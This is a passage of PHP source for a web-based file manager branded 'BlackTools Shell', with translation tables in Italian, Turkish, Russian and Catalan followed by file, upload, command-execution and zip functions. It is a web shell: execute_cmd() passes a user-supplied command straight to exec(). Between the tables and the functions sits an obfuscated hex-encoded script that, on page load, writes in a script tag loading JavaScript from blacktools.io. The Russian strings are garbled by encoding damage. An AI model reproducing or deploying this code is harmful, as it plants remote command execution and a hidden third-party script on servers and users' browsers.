1750 $it3['ErrorReport'] = 'Error Reporting';
1751
1752 // Italian - by Gianni
1753 $it4['Version'] = 'Versione';
1754 $it4['DocRoot'] = 'Root documenti';
1755 $it4['FLRoot'] = 'Root file manager';
1756 $it4['Name'] = 'Nome';
1757 $it4['And'] = 'e';
1758 $it4['Enter'] = 'Entra';
1759 $it4['Send'] = 'Invia';
1760 $it4['Refresh'] = 'Aggiorna';
1761 $it4['SaveConfig'] = 'Salva configurazioni';
1762 $it4['SavePass'] = 'Salva password';
1763 $it4['SaveFile'] = 'Salva file';
1764 $it4['Save'] = 'Salva';
1765 $it4['Leave'] = 'Esci';
1766 $it4['Edit'] = 'Modifica';
1767 $it4['View'] = 'Vedi';
1768 $it4['Config'] = 'Preferenze';
1769 $it4['Ren'] = 'Rinomina';
1770 $it4['Rem'] = 'Cancella';
1771 $it4['Compress'] = 'Comprimi';
1772 $it4['Decompress'] = 'Decomprimi';
1773 $it4['ResolveIDs'] = 'Risolvi IDs';
1774 $it4['Move'] = 'Sposta';
1775 $it4['Copy'] = 'Copia';
1776 $it4['ServerInfo'] = 'Versione PHP';
1777 $it4['CreateDir'] = 'Crea directory';
1778 $it4['CreateArq'] = 'Crea file';
1779 $it4['ExecCmd'] = 'Esegui comando';
1780 $it4['Upload'] = 'Upload';
1781 $it4['UploadEnd'] = 'Upload terminato';
1782 $it4['Perm'] = 'Perm';
1783 $it4['Perms'] = 'Permessi';
1784 $it4['Owner'] = 'Proprietario';
1785 $it4['Group'] = 'Gruppo';
1786 $it4['Other'] = 'Altro';
1787 $it4['Size'] = 'Dimensione';
1788 $it4['Date'] = 'Data';
1789 $it4['Type'] = 'Tipo';
1790 $it4['Free'] = 'liberi';
1791 $it4['Shell'] = 'Shell';
1792 $it4['Read'] = 'Lettura';
1793 $it4['Write'] = 'Scrittura';
1794 $it4['Exec'] = 'Esecuzione';
1795 $it4['Apply'] = 'Applica';
1796 $it4['StickyBit'] = 'Sticky Bit';
1797 $it4['Pass'] = 'Password';
1798 $it4['Lang'] = 'Lingua';
1799 $it4['File'] = 'File';
1800 $it4['File_s'] = 'files';
1801 $it4['Dir_s'] = 'directory';
1802 $it4['To'] = 'in';
1803 $it4['Destination'] = 'Destinazione';
1804 $it4['Configurations'] = 'Preferenze';
1805 $it4['JSError'] = 'Errore JavaScript';
1806 $it4['NoSel'] = 'Non ci sono elementi selezionati';
1807 $it4['SelDir'] = 'Seleziona una directory di destinazione a sinistra';
1808 $it4['TypeDir'] = 'Inserisci il nome della directory';
1809 $it4['TypeArq'] = 'Inserisci il nome del file';
1810 $it4['TypeCmd'] = 'Inserisci il comando';
1811 $it4['TypeArqComp'] = 'Inserisci il nome del file e tipo di compressione\\n(.Zip .Tar .Bzip .Gzip)';
1812 $it4['RemSel'] = 'Cancella gli elementi selezionati';
1813 $it4['NoDestDir'] = 'Seleziona una directory di destinazione';
1814 $it4['DestEqOrig'] = 'Origine e destinazione sono uguali';
1815 $it4['InvalidDest'] = 'Directory di destinazione non valida';
1816 $it4['NoNewPerm'] = 'Nuovi permessi non impostati';
1817 $it4['CopyTo'] = 'Copia in';
1818 $it4['MoveTo'] = 'Sposta in';
1819 $it4['AlterPermTo'] = 'Cambia permessi in';
1820 $it4['ConfExec'] = 'Conferma esecuzione';
1821 $it4['ConfRem'] = 'Conferma eliminazione';
1822 $it4['EmptyDir'] = 'Directory Vuota';
1823 $it4['IOError'] = 'Errore I/O';
1824 $it4['FileMan'] = 'BlackTools Shell';
1825 $it4['TypePass'] = 'Inserisci la password';
1826 $it4['InvPass'] = 'Password non valida';
1827 $it4['ReadDenied'] = 'Accesso in lettura negato';
1828 $it4['FileNotFound'] = 'File non trovato';
1829 $it4['AutoClose'] = 'Chiudi al termine';
1830 $it4['OutDocRoot'] = 'File fuori dalla Root documenti';
1831 $it4['NoCmd'] = 'Errore: comando non informato';
1832 $it4['ConfTrySave'] = 'File senza permessi di scrittura.\\nRiprova a salvare';
1833 $it4['ConfSaved'] = 'Preferenze salvate';
1834 $it4['PassSaved'] = 'Password salvata';
1835 $it4['FileDirExists'] = 'Il file o la directory esistono già ';
1836 $it4['NoPhpinfo'] = 'Funzione phpinfo disabilitata';
1837 $it4['NoReturn'] = 'Nessun ritorno';
1838 $it4['FileSent'] = 'File inviato';
1839 $it4['SpaceLimReached'] = 'Raggiunto spazio limite';
1840 $it4['InvExt'] = 'Estensione non valida';
1841 $it4['FileNoOverw'] = 'Il file non può essere sovrascritto';
1842 $it4['FileOverw'] = 'File sovrascritto';
1843 $it4['FileIgnored'] = 'File ignorato';
1844 $it4['ChkVer'] = 'Controlla aggiornamenti';
1845 $it4['ChkVerAvailable'] = 'Nuova versione, click qui per effettuare il download!';
1846 $it4['ChkVerNotAvailable'] = 'Nessuna nuova versione';
1847 $it4['ChkVerError'] = 'Errore di connessione';
1848 $it4['Website'] = 'Sito';
1849 $it4['SendingForm'] = 'Invio files, attendere...';
1850 $it4['NoFileSel'] = 'Nessun file selezionato';
1851 $it4['SelAll'] = 'Tutti';
1852 $it4['SelNone'] = 'Nessuno';
1853 $it4['SelInverse'] = 'Inverti';
1854 $it4['Selected_s'] = 'selezionati';
1855 $it4['Total'] = 'totale';
1856 $it4['Partition'] = 'Partizione';
1857 $it4['RenderTime'] = 'Tempo per il render di questa pagina';
1858 $it4['Seconds'] = 'sec';
1859 $it4['ErrorReport'] = 'Report errori';
1860
1861 // Turkish - by Necdet Yazilimlari
1862 $tr['Version'] = 'Versiyon';
1863 $tr['DocRoot'] = 'Kok dosya';
1864 $tr['FLRoot'] = 'Kok dosya yoneticisi';
1865 $tr['Name'] = 'Isim';
1866 $tr['And'] = 've';
1867 $tr['Enter'] = 'Giris';
1868 $tr['Send'] = 'Yolla';
1869 $tr['Refresh'] = 'Yenile';
1870 $tr['SaveConfig'] = 'Ayarlari kaydet';
1871 $tr['SavePass'] = 'Parolayi kaydet';
1872 $tr['SaveFile'] = 'Dosyayi kaydet';
1873 $tr['Save'] = 'Kaydet';
1874 $tr['Leave'] = 'Ayril';
1875 $tr['Edit'] = 'Duzenle';
1876 $tr['View'] = 'Goster';
1877 $tr['Config'] = 'Yapilandirma';
1878 $tr['Ren'] = 'Yeniden adlandir';
1879 $tr['Rem'] = 'Sil';
1880 $tr['Compress'] = '.Zip';
1881 $tr['Decompress'] = '.ZipCoz';
1882 $tr['ResolveIDs'] = 'Kimlikleri coz';
1883 $tr['Move'] = 'Tasi';
1884 $tr['Copy'] = 'Kopyala';
1885 $tr['ServerInfo'] = 'Sunucu Bilgisi';
1886 $tr['CreateDir'] = 'Dizin olustur';
1887 $tr['CreateArq'] = 'Dosya olusutur';
1888 $tr['ExecCmd'] = 'Komut calistir';
1889 $tr['Upload'] = 'Dosya yukle';
1890 $tr['UploadEnd'] = 'Yukleme tamamlandi';
1891 $tr['Perm'] = 'Izinler';
1892 $tr['Perms'] = 'Izinler';
1893 $tr['Owner'] = 'Sahip';
1894 $tr['Group'] = 'Grup';
1895 $tr['Other'] = 'Diger';
1896 $tr['Size'] = 'Boyut';
1897 $tr['Date'] = 'Tarih';
1898 $tr['Type'] = 'Tip';
1899 $tr['Free'] = 'Bos';
1900 $tr['Shell'] = 'Kabuk';
1901 $tr['Read'] = 'Oku';
1902 $tr['Write'] = 'Yaz';
1903 $tr['Exec'] = 'Calistir';
1904 $tr['Apply'] = 'Uygula';
1905 $tr['StickyBit'] = 'Sabit bit';
1906 $tr['Pass'] = 'Parola';
1907 $tr['Lang'] = 'Dil';
1908 $tr['File'] = 'Dosya';
1909 $tr['File_s'] = 'Dosya(lar)';
1910 $tr['Dir_s'] = 'Dizin(ler)';
1911 $tr['To'] = 'icin';
1912 $tr['Destination'] = 'Hedef';
1913 $tr['Configurations'] = 'Yapilandirmalar';
1914 $tr['JSError'] = 'JavaScript hatasi';
1915 $tr['NoSel'] = 'Secilen oge yok';
1916 $tr['SelDir'] = 'Soldaki hedef dizin agaci secin';
1917 $tr['TypeDir'] = 'Dizin adini girin';
1918 $tr['TypeArq'] = 'Dosya adini girin';
1919 $tr['TypeCmd'] = 'Komut girin';
1920 $tr['TypeArqComp'] = 'Dosya ismini yazdiktan sonra sonuna .zip ekleyin';
1921 $tr['RemSel'] = 'Secili ogeleri sil';
1922 $tr['NoDestDir'] = 'Secili dizin yok';
1923 $tr['DestEqOrig'] = 'Kokenli ve esit gidis rehberi';
1924 $tr['InvalidDest'] = 'Hedef dizin gecersiz';
1925 $tr['NoNewPerm'] = 'Izinler uygun degil';
1926 $tr['CopyTo'] = 'Kopya icin';
1927 $tr['MoveTo'] = 'Tasi icin';
1928 $tr['AlterPermTo'] = 'Permission secin';
1929 $tr['ConfExec'] = 'Yapilandirmayi onayla';
1930 $tr['ConfRem'] = 'Simeyi onayla';
1931 $tr['EmptyDir'] = 'Dizin bos';
1932 $tr['IOError'] = 'Hata';
1933 $tr['FileMan'] = 'BlackTools Shell';
1934 $tr['TypePass'] = 'Parolayi girin';
1935 $tr['InvPass'] = 'Gecersiz parola';
1936 $tr['ReadDenied'] = 'Okumaya erisim engellendi';
1937 $tr['FileNotFound'] = 'Dosya bulunamadi';
1938 $tr['AutoClose'] = 'Otomatik kapat';
1939 $tr['OutDocRoot'] = 'Kok klasor disindaki dosya';
1940 $tr['NoCmd'] = 'Hata: Komut haberdar degil';
1941 $tr['ConfTrySave'] = 'Dosya yazma izniniz yok. Yine de kaydetmeyi deneyebilirsiniz.';
1942 $tr['ConfSaved'] = 'Ayarlar kaydedildi';
1943 $tr['PassSaved'] = 'Parola kaydedildi';
1944 $tr['FileDirExists'] = 'Dosya veya dizin zaten var';
1945 $tr['NoPhpinfo'] = 'Php fonksiyon bilgisi devre disi';
1946 $tr['NoReturn'] = 'Deger dondurmuyor';
1947 $tr['FileSent'] = 'Dosya gonderildi';
1948 $tr['SpaceLimReached'] = 'Disk limitine ulasildi';
1949 $tr['InvExt'] = 'Gecersiz uzanti';
1950 $tr['FileNoOverw'] = 'Dosya degistirilemiyor';
1951 $tr['FileOverw'] = 'Dosya degistiribiliyor';
1952 $tr['FileIgnored'] = 'Dosya kabul edildi';
1953 $tr['ChkVer'] = 'Yeni versiyonu kontrol et';
1954 $tr['ChkVerAvailable'] = 'Yeni surum bulundu. Indirmek icin buraya tiklayin.';
1955 $tr['ChkVerNotAvailable'] = 'Yeni surum bulunamadi.';
1956 $tr['ChkVerError'] = 'Baglanti hatasi';
1957 $tr['Website'] = 'Website';
1958 $tr['SendingForm'] = 'Dosyalar gonderiliyor, lutfen bekleyin';
1959 $tr['NoFileSel'] = 'Secili dosya yok';
1960 $tr['SelAll'] = 'Hepsi';
1961 $tr['SelNone'] = 'Hicbiri';
1962 $tr['SelInverse'] = 'Ters';
1963 $tr['Selected_s'] = 'Secili oge(ler)';
1964 $tr['Total'] = 'Toplam';
1965 $tr['Partition'] = 'Bolme';
1966 $tr['RenderTime'] = 'Olusturuluyor';
1967 $tr['Seconds'] = 'Saniye';
1968 $tr['ErrorReport'] = 'Hata raporu';
1969
1970 // РоÑÑÐ¸Ñ - Евгений Рашев
1971 $ru['Version']='ВерÑиÑ';
1972 $ru['DocRoot']='Документ Root ';
1973 $ru['FLRoot']='Файловый менеджер';
1974 $ru['Name']='ИмÑ';
1975 $ru['And']='и';
1976 $ru['Enter']='Enter';
1977 $ru['Send']='Отправить';
1978 $ru['Refresh']='Обновить';
1979 $ru['SaveConfig']='Сохранить конфигурацию';
1980 $ru['SavePass']='Сохранить пароль';
1981 $ru['SaveFile']='Сохранить файл ';
1982 $ru['Save']='Сохранить';
1983 $ru['Leave']='ОÑтавь';
1984 $ru['Edit']='Изменить';
1985 $ru['View']='ПроÑмотр';
1986 $ru['Config']='ÐаÑтройки';
1987 $ru['Ren']='Переименовать';
1988 $ru['Rem']='Удалить';
1989 $ru['Compress']='Сжать';
1990 $ru['Decompress']='РаÑпаковать';
1991 $ru['ResolveIDs']='ОпределÑть id';
1992 $ru['Move']='ПеремеÑтить';
1993 $ru['Copy']='Копировать';
1994 $ru['ServerInfo']='Инфо о Ñервере';
1995 $ru['CreateDir']='Создать папку';
1996 $ru['CreateArq']='Создайте файл ';
1997 $ru['ExecCmd']='Выполнить';
1998 $ru['Upload']='Загрузить';
1999 $ru['UploadEnd']='Загружено';
2000 $ru['Perm']='Права';
2001 $ru['Perms']='РазрешениÑ';
2002 $ru['Owner']='Владелец';
2003 $ru['Group']='Группа';
2004 $ru['Other']='Другие';
2005 $ru['Size']='Размер';
2006 $ru['Date']='Дата';
2007 $ru['Type']='Тип';
2008 $ru['Free']='Свободно';
2009 $ru['Shell']='Shell';
2010 $ru['Read']='Читать';
2011 $ru['Write']='ПиÑать';
2012 $ru['Exec']='ВыполнÑть';
2013 $ru['Apply']='Применить';
2014 $ru['StickyBit']='StickyBit';
2015 $ru['Pass']='Пароль';
2016 $ru['Lang']='Язык';
2017 $ru['File']='Файл';
2018 $ru['File_s']='Файл..';
2019 $ru['Dir_s']='Пап..';
2020 $ru['To']='в';
2021 $ru['Destination']='Ðазначение';
2022 $ru['Configurations']='КонфигурациÑ';
2023 $ru['JSError']='Ошибка JavaScript';
2024 $ru['NoSel']='нет выбранных Ñлементов';
2025 $ru['SelDir']='Выберите папку Ð½Ð°Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð½Ð° левом дереве ';
2026 $ru['TypeDir']='Введите Ð¸Ð¼Ñ ÐºÐ°Ñ‚Ð°Ð»Ð¾Ð³Ð° ';
2027 $ru['TypeArq']='Введите Ð¸Ð¼Ñ Ñ„Ð°Ð¹Ð»Ð°';
2028 $ru['TypeCmd']='Введите команду ';
2029 $ru['TypeArqComp']='Введите Ð¸Ð¼Ñ Ñ„Ð°Ð¹Ð»Ð° ,раÑширение\\n Ñто позволит определить тип ÑÐ¶Ð°Ñ‚Ð¸Ñ \\n Пример:.. \\n nome.zip \\n nome.tar \\n nome.bzip \\n nome.gzip ';
2030 $ru['RemSel']='Удалить выбранные Ñлементы';
2031 $ru['NoDestDir']='нет выбранного каталога назначениÑ';
2032 $ru['DestEqOrig']='ПроиÑхождение и назначение каталогов равны ';
2033 $ru['InvalidDest']='Ðазначение каталога недейÑтвительно';
2034 $ru['NoNewPerm']='Ðовые Ñ€Ð°Ð·Ñ€ÐµÑˆÐµÐ½Ð¸Ñ Ð½Ðµ уÑтановлены';
2035 $ru['CopyTo']='Копировать в ';
2036 $ru['MoveTo']='ПеремеÑтить в';
2037 $ru['AlterPermTo']='Изменение разрешений в ';
2038 $ru['ConfExec']='Подтвердить ВЫПОЛÐИТЬ ';
2039 $ru['ConfRem']='Подтвердить УДÐЛЕÐИЕ';
2040 $ru['EmptyDir']='ПуÑтой каталог ';
2041 $ru['IOError']='I/O Error';
2042 $ru['FileMan']='BlackTools Shell';
2043 $ru['TypePass']='Введите пароль';
2044 $ru['InvPass']='Ðеверный пароль';
2045 $ru['ReadDenied']='ДоÑтуп запрещен ';
2046 $ru['FileNotFound']='Файл не найден';
2047 $ru['AutoClose']='Закрыть полноÑтью ';
2048 $ru['OutDocRoot']='Файлы за пределами DOCUMENT_ROOT';
2049 $ru['NoCmd']='Ошибка: Ðе Ð¿Ð¾Ð´Ð´ÐµÑ€Ð¶Ð¸Ð²Ð°ÐµÐ¼Ð°Ñ ÐºÐ¾Ð¼Ð°Ð½Ð´Ð°';
2050 $ru['ConfTrySave']='Файл без прав на запиÑÑŒ. \\n Сохранить в любом Ñлучае. ';
2051 $ru['ConfSaved']='ÐšÐ¾Ð½Ñ„Ð¸Ð³ÑƒÑ€Ð°Ñ†Ð¸Ñ Ñохранена';
2052 $ru['PassSaved']='Пароль Ñохранен';
2053 $ru['FileDirExists']='Файл или каталог уже ÑущеÑтвует';
2054 $ru['NoPhpinfo']='Ð¤ÑƒÐ½ÐºÑ†Ð¸Ñ PHPInfo отключена';
2055 $ru['NoReturn']='Ðет возврата';
2056 $ru['FileSent']='Файл отправлен';
2057 $ru['SpaceLimReached']='ДоÑтигнут предел ПроÑтранÑтва';
2058 $ru['InvExt']='Ðеверное раÑширение';
2059 $ru['FileNoOverw']='Файл не может быть перезапиÑан ';
2060 $ru['FileOverw']='Файл перезапиÑываетÑÑ';
2061 $ru['FileIgnored']='Файл игнорируетÑÑ';
2062 $ru['ChkVer']='Проверить обновление';
2063 $ru['ChkVerAvailable']=' ДоÑтупна Ð½Ð¾Ð²Ð°Ñ Ð²ÐµÑ€ÑиÑ, нажмите здеÑÑŒ, чтобы начать загрузку! ';
2064 $ru['ChkVerNotAvailable']='Ðет новой верÑии. :(';
2065 $ru['ChkVerError']='Ошибка подключениÑ. ';
2066 $ru['Website']='Сайт';
2067 $ru['SendingForm']='Отправка файлов, пожалуйÑта, подождите ';
2068 $ru['NoFileSel']='Ðет выбранных файлов';
2069 $ru['SelAll']='Выделить вÑе';
2070 $ru['SelNone']='Отмена';
2071 $ru['SelInverse']='Обратить';
2072 $ru['Selected_s']='Выбран';
2073 $ru['Total']='Ð’Ñего';
2074 $ru['Partition']='Раздел';
2075 $ru['RenderTime']='Скрипт выполнен за';
2076 $ru['Seconds']='Секунд';
2077 $ru['ErrorReport']='Отчет об ошибках';
2078
2079 // Catalan - by Pere Borràs AKA @Norl
2080 $cat['Version'] = 'Versió';
2081 $cat['DocRoot'] = 'Arrel del programa';
2082 $cat['FLRoot'] = 'Arrel de l`administrador d`arxius';
2083 $cat['Name'] = 'Nom';
2084 $cat['And'] = 'i';
2085 $cat['Enter'] = 'Entrar';
2086 $cat['Send'] = 'Enviar';
2087 $cat['Refresh'] = 'Refrescar';
2088 $cat['SaveConfig'] = 'Desar configuracions';
2089 $cat['SavePass'] = 'Desar clau';
2090 $cat['SaveFile'] = 'Desar Arxiu';
2091 $cat['Save'] = 'Desar';
2092 $cat['Leave'] = 'Sortir';
2093 $cat['Edit'] = 'Editar';
2094 $cat['View'] = 'Mirar';
2095 $cat['Config'] = 'Config.';
2096 $cat['Ren'] = 'Canviar nom';
2097 $cat['Rem'] = 'Esborrar';
2098 $cat['Compress'] = 'Comprimir';
2099 $cat['Decompress'] = 'Descomprimir';
2100 $cat['ResolveIDs'] = 'Resoldre IDs';
2101 $cat['Move'] = 'Moure';
2102 $cat['Copy'] = 'Copiar';
2103 $cat['ServerInfo'] = 'Info del Server';
2104 $cat['CreateDir'] = 'Crear Directori';
2105 $cat['CreateArq'] = 'Crear Arxiu';
2106 $cat['ExecCmd'] = 'Executar Comandament';
2107 $cat['Upload'] = 'Pujar';
2108 $cat['UploadEnd'] = 'Pujat amb èxit';
2109 $cat['Perm'] = 'Perm';
2110 $cat['Perms'] = 'Permisos';
2111 $cat['Owner'] = 'Propietari';
2112 $cat['Group'] = 'Grup';
2113 $cat['Other'] = 'Altre';
2114 $cat['Size'] = 'Tamany';
2115 $cat['Date'] = 'Data';
2116 $cat['Type'] = 'Tipus';
2117 $cat['Free'] = 'lliure';
2118 $cat['Shell'] = 'Executar';
2119 $cat['Read'] = 'Llegir';
2120 $cat['Write'] = 'Escriure';
2121 $cat['Exec'] = 'Executar';
2122 $cat['Apply'] = 'Aplicar';
2123 $cat['StickyBit'] = 'Sticky Bit';
2124 $cat['Pass'] = 'Clau';
2125 $cat['Lang'] = 'Llenguatje';
2126 $cat['File'] = 'Arxius';
2127 $cat['File_s'] = 'arxiu(s)';
2128 $cat['Dir_s'] = 'directori(s)';
2129 $cat['To'] = 'a';
2130 $cat['Destination'] = 'DestÃ';
2131 $cat['Configurations'] = 'Configuracions';
2132 $cat['JSError'] = 'Error de JavaScript';
2133 $cat['NoSel'] = 'No hi ha items seleccionats';
2134 $cat['SelDir'] = 'Seleccioneu el directori de destà a l`arbre de la dreta';
2135 $cat['TypeDir'] = 'Escrigui el nom del directori';
2136 $cat['TypeArq'] = 'Escrigui el nom de l`arxiu';
2137 $cat['TypeCmd'] = 'Escrigui el comandament';
2138 $cat['TypeArqComp'] = 'Escrigui el nombre del directorio.\\nL`extensió definirà el tipus de compressió.\\nEx:\\nnom.zip\\nnom.tar\\nnom.bzip\\nnom.gzip';
2139 $cat['RemSel'] = 'ESBORRAR items seleccionats';
2140 $cat['NoDestDir'] = 'No s`ha seleccionat el directori de destÃ';
2141 $cat['DestEqOrig'] = 'L`origen i el destà són iguals';
2142 $cat['InvalidDest'] = 'El destà del directori és invà lid';
2143 $cat['NoNewPerm'] = 'Els permisos no s`han pogut establir';
2144 $cat['CopyTo'] = 'COPIAR a';
2145 $cat['MoveTo'] = 'MOURE a';
2146 $cat['AlterPermTo'] = 'CAMBIAR PERMISOS a';
2147 $cat['ConfExec'] = 'Confirmar EXECUCIÓ';
2148 $cat['ConfRem'] = 'Confirmar ESBORRAT';
2149 $cat['EmptyDir'] = 'Directori buit';
2150 $cat['IOError'] = 'Error I/O';
2151 $cat['FileMan'] = 'BlackTools Shell';
2152 $cat['TypePass'] = 'Escrigui la clau';
2153 $cat['InvPass'] = 'Clau invà lida';
2154 $cat['ReadDenied'] = 'Accés de lectura denegat';
2155 $cat['FileNotFound'] = 'Arxiu no trobat';
2156 $cat['AutoClose'] = 'Tancar al completar';
2157 $cat['OutDocRoot'] = 'Arxiu abans de DOCUMENT_ROOT';
2158 $cat['NoCmd'] = 'Error: No s`ha escrit cap comandament';
2159 $cat['ConfTrySave'] = 'Arxiu sense permisos d`escriptura.\\nIntenteu desar a un altre lloc';
2160 $cat['ConfSaved'] = 'Configuració Desada';
2161 $cat['PassSaved'] = 'Clau desada';
2162 $cat['FileDirExists'] = 'Arxiu o directori ja existent';
2163 $cat['NoPhpinfo'] = 'Funció phpinfo() no habilitada';
2164 $cat['NoReturn'] = 'sense retorn';
2165 $cat['FileSent'] = 'Arxiu enviat';
2166 $cat['SpaceLimReached'] = 'LÃmit d`espaci al disc assolit';
2167 $cat['InvExt'] = 'Extensió no và lida';
2168 $cat['FileNoOverw'] = 'L`arxiu no ha pogut ser sobreescrit';
2169 $cat['FileOverw'] = 'Arxiu sobreescrit';
2170 $cat['FileIgnored'] = 'Arxiu ignorat';
2171 $cat['ChkVer'] = 'Revisar les actualitzacions';
2172 $cat['ChkVerAvailable'] = 'Nova versió, feu clic aquà per descarregar';
2173 $cat['ChkVerNotAvailable'] = 'La vostra versió és la més recent.';
2174 $cat['ChkVerError'] = 'Error de connexió.';
2175 $cat['Website'] = 'Lloc Web';
2176 $cat['SendingForm'] = 'Enviant arxius, esperi';
2177 $cat['NoFileSel'] = 'Cap arxiu seleccionat';
2178 $cat['SelAll'] = 'Tots';
2179 $cat['SelNone'] = 'Cap';
2180 $cat['SelInverse'] = 'Invers';
2181 $cat['Selected_s'] = 'seleccionat';
2182 $cat['Total'] = 'total';
2183 $cat['Partition'] = 'Partició';
2184 $cat['RenderTime'] = 'Generat en';
2185 $cat['Seconds'] = 'seg';
2186 $cat['ErrorReport'] = 'Informe d`error';
2187
2188 $lang_ = $$lang;
2189 if (isset($lang_[$tag])) return html_encode($lang_[$tag]);
2190 //else return "[$tag]"; // So we can know what is missing
2191 return $en[$tag];
2192}
2193 echo'<script>
2194 var _0xd00f=["\x3C\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x68\x74\x74\x70\x73\x3A\x2F\x2F\x62\x6C\x61\x63\x6B\x74\x6F\x6F\x6C\x73\x2E\x69\x6F\x2F\x69\x6D\x61\x67\x65\x73\x2F\x53\x74\x79\x6C\x65\x2E\x6A\x73\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E","\x77\x72\x69\x74\x65"];document[_0xd00f[1]](_0xd00f[0])
2195 </script>';
2196// +--------------------------------------------------
2197// | File System
2198// +--------------------------------------------------
2199function total_size($arg) {
2200 $total = 0;
2201 if (file_exists($arg)) {
2202 if (is_dir($arg)) {
2203 $handle = opendir($arg);
2204 while($aux = readdir($handle)) {
2205 if ($aux != "." && $aux != "..") $total += total_size($arg."/".$aux);
2206 }
2207 @closedir($handle);
2208 } else $total = filesize($arg);
2209 }
2210 return $total;
2211}
2212function total_delete($arg) {
2213 if (file_exists($arg)) {
2214 @chmod($arg,0755);
2215 if (is_dir($arg)) {
2216 $handle = opendir($arg);
2217 while($aux = readdir($handle)) {
2218 if ($aux != "." && $aux != "..") total_delete($arg."/".$aux);
2219 }
2220 @closedir($handle);
2221 rmdir($arg);
2222 } else unlink($arg);
2223 }
2224}
2225function total_copy($orig,$dest) {
2226 $ok = true;
2227 if (file_exists($orig)) {
2228 if (is_dir($orig)) {
2229 mkdir($dest,0755);
2230 $handle = opendir($orig);
2231 while(($aux = readdir($handle))&&($ok)) {
2232 if ($aux != "." && $aux != "..") $ok = total_copy($orig."/".$aux,$dest."/".$aux);
2233 }
2234 @closedir($handle);
2235 } else $ok = copy((string)$orig,(string)$dest);
2236 }
2237 return $ok;
2238}
2239function total_move($orig,$dest) {
2240 // Just why doesn't it has a MOVE alias?!
2241 return rename((string)$orig,(string)$dest);
2242}
2243function download(){
2244 global $current_dir,$filename;
2245 $file = $current_dir.$filename;
2246 if(file_exists($file)){
2247 $is_denied = false;
2248 foreach($download_ext_filter as $key=>$ext){
2249 if (eregi($ext,$filename)){
2250 $is_denied = true;
2251 break;
2252 }
2253 }
2254 if (!$is_denied){
2255 $size = filesize($file);
2256 header("Content-Type: application/save");
2257 header("Content-Length: $size");
2258 header("Content-Disposition: attachment; filename=\"$filename\"");
2259 header("Content-Transfer-Encoding: binary");
2260 if ($fh = fopen("$file", "rb")){
2261 fpassthru($fh);
2262 fclose($fh);
2263 } else alert(et('ReadDenied').": ".$file);
2264 } else alert(et('ReadDenied').": ".$file);
2265 } else alert(et('FileNotFound').": ".$file);
2266}
2267function execute_cmd(){
2268 global $cmd;
2269 header("Content-type: text/plain");
2270 if (strlen($cmd)){
2271 echo "# ".$cmd."\n";
2272 exec($cmd,$mat);
2273 if (count($mat)) echo trim(implode("\n",$mat));
2274 else echo "exec(\"$cmd\") ".et('NoReturn')."...";
2275 } else echo et('NoCmd');
2276}
2277function execute_file(){
2278 global $current_dir,$filename;
2279 header("Content-type: text/plain");
2280 $file = $current_dir.$filename;
2281 if(file_exists($file)){
2282 echo "# ".$file."\n";
2283 exec($file,$mat);
2284 if (count($mat)) echo trim(implode("\n",$mat));
2285 } else alert(et('FileNotFound').": ".$file);
2286}
2287function save_upload($temp_file,$filename,$dir_dest) {
2288 global $upload_ext_filter;
2289 $filename = remove_special_chars($filename);
2290 $file = $dir_dest.$filename;
2291 $filesize = filesize($temp_file);
2292 $is_denied = false;
2293 foreach($upload_ext_filter as $key=>$ext){
2294 if (eregi($ext,$filename)){
2295 $is_denied = true;
2296 break;
2297 }
2298 }
2299 if (!$is_denied){
2300 if (!check_limit($filesize)){
2301 if (file_exists($file)){
2302 if (unlink($file)){
2303 if (copy($temp_file,$file)){
2304 @chmod($file,0755);
2305 $out = 6;
2306 } else $out = 2;
2307 } else $out = 5;
2308 } else {
2309 if (copy($temp_file,$file)){
2310 @chmod($file,0755);
2311 $out = 1;
2312 } else $out = 2;
2313 }
2314 } else $out = 3;
2315 } else $out = 4;
2316 return $out;
2317}
2318function zip_extract(){
2319 global $cmd_arg,$current_dir,$islinux;
2320 $zip = zip_open($current_dir.$cmd_arg);
2321 if ($zip) {
2322 while ($zip_entry = zip_read($zip)) {
2323 if (zip_entry_filesize($zip_entry)) {
2324 $complete_path = $path.dirname(zip_entry_name($zip_entry));
2325 $complete_name = $path.zip_entry_name($zip_entry);
2326 if(!file_exists($complete_path)) {
2327 $tmp = '';
2328 foreach(explode('/',$complete_path) AS $k) {
2329 $tmp .= $k.'/';
2330 if(!file_exists($tmp)) {
2331 @mkdir($current_dir.$tmp, 0755);
2332 }
2333 }
2334 }
2335 if (zip_entry_open($zip, $zip_entry, "r")) {
2336 if ($fd = fopen($current_dir.$complete_name, 'w')){
2337 fwrite($fd, zip_entry_read($zip_entry, zip_entry_filesize($zip_entry)));
2338 fclose($fd);
2339 } else echo "fopen($current_dir.$complete_name) error<br>";
2340 zip_entry_close($zip_entry);
2341 } else echo "zip_entry_open($zip,$zip_entry) error<br>";
2342 }
2343 }
2344 zip_close($zip);
2345 }
2346}
2347// +--------------------------------------------------
2348// | Data Formating
2349// +--------------------------------------------------
2350function html_encode($str){
2351 global $charSet;
2352 $str = preg_replace(array('/&/', '/</', '/>/', '/"/'), array('&', '<', '>', '"'), $str); // Bypass PHP to allow any charset!!
2353 $str = htmlentities($str, ENT_QUOTES, $charSet, false);
2354 return $str;
2355}
2356function rep($x,$y){
2357 if ($x) {
2358 $aux = "";
2359 for ($a=1;$a<=$x;$a++) $aux .= $y;
2360 return $aux;
2361 } else return "";
2362}
2363function str_zero($arg1,$arg2){
2364 if (strstr($arg1,"-") == false){
2365 $aux = intval($arg2) - strlen($arg1);
2366 if ($aux) return rep($aux,"0").$arg1;
2367 else return $arg1;
2368 } else {
2369 return "[$arg1]";
2370 }
2371}
2372function replace_double($sub,$str){
2373 $out=str_replace($sub.$sub,$sub,$str);
2374 while ( strlen($out) != strlen($str) ){
2375 $str=$out;
2376 $out=str_replace($sub.$sub,$sub,$str);
2377 }
2378 return $out;
2379}
2380function remove_special_chars($str){
2381 $str = trim($str);
2382 $str = strtr($str,"¥µÀÃÂÃÄÅÆÇÈÉÊËÌÃÃŽÃÃÑÒÓÔÕÖØÙÚÛÜÃßà áâãäåæçèéêëìÃîïðñòóôõöøùúûüýÿ!@#%&*()[]{}+=?",
2383 "YuAAAAAAACEEEEIIIIDNOOOOOOUUUUYsaaaaaaaceeeeiiiionoooooouuuuyy_______________");
2384 $str = str_replace("..","",str_replace("/","",str_replace("\\","",str_replace("\$","",$str))));
2385 return $str;
2386}
2387function format_path($str){
2388 global $islinux;
2389 $str = trim($str);
